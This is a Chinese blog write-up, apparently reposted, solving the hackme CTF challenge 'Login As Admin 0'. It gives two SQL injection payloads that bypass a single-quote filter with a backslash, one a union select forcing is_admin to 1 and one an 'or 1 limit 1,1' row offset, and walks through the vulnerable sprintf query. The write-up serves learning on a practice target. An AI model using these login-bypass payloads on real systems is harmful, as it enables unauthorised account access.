hackme_Login As Admin 0

先上payload, 再说原理

1、

Username:\' union select 1,1,1,1#

Password:a

2、

Username:\' or 1 limit1,1#

Password:a

 

下面是分析讲解:

首先,点击Source Code按钮查看源代码

可以得到以下信息:

1、过滤了单引号,可以用\'来绕过滤

2、user表中四个列:id,user,pass,is_admin

3、SQL语句:

$sql = sprintf("SELECT * FROM `user` WHERE `user` = '%s' AND `password` = '%s'", $_POST['name'], $_POST['password']);

4、Password不能为空

一、Payload1分析:

  我们的目的是以admin身份登录,那么服务器如何来判断我们是不是admin呢?

拉到最后来看:

可以看到,最重要的是就是is_admin这个字段,所以我们来进行变量覆盖注入(我自己取的名字、、请大佬指正)

 

padload提交后,提交的SQL语句是:

SELECT * FROM 'user' WHERE 'user' = '' union select 1,1,1,1 # AND `password` = 'a';

执行的是:

SELECT 1,1,1,1 FROM ’user‘;

那我们得到了一个$user的实例,其中最关键的就是第4个变量值是1

 

二、Payload2分析:

第二种其实也是老套路,我管他叫“限制查询注入”(自己取的名字、、请大佬指正)

首先构造Payload:

Username:\' or 1#

Password:a

  这句话提交上去相当于:

  SELECT * FROM 'user' WHERE 1

  显然,我们会得到整个user表。

  

  但是只有整张表的第一个会被验证,所以这个payload提交上去发现我们不是管理员而是guest,猜想admin应该是在下一条数据

  所以我们让offset=1,构造payload:

  Username:\' or 1 limit 1,1#

  Password:a

 

转载于:https://www.cnblogs.com/huangming-zzz/p/9818486.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值